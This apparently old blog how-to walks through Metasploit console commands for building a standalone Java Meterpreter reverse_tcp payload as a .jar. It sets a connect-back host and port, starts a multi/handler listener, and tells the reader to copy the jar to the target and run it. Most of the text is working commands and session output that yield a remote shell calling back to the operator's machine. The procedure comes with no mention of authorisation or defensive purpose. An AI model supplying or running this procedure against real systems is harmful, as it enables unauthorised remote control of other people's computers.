Metasploit HowTo: Standalone Java Meterpreter Connect-Back

Here are some quick notes on how to create a connect-back Java Meterpreter .jar file. The process is very straightforward, simply generate the .jar, setup a handler. Then move the .jar to your target & execute it.

Note! Nightranger’s method to do this is currently out of date (10/17/2010).

Following mihi’s instructions, create the payload:

msf exploit(java_signed_applet) > use test/java_tester
msf exploit(java_tester) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(java_tester) > set LHOST 10.0.0.11
msf exploit(java_tester) > set LPORT 4444
msf exploit(java_tester) > exploit
[*] Started reverse handler on 10.0.0.11:4444
[*] Sending stage (26938 bytes) to 10.0.0.11
[*] Meterpreter session 1 opened (10.0.0.11:4444 -> 10.0.0.11:60519) at 2010-10-17 17:50:29 -0500
^C
[*] Exploit completed, but no session was created.
msf exploit(java_tester) > [*] Meterpreter session 1 closed.  Reason: Died
msf exploit(java_tester) > ls
payload.jar

now, set up the handler:

msf exploit(java_tester) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.0.0.11
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

copy the payload to the target & run it, and you’re golden. no need to fiddle with classpath or anything, the loader jar is self-contained.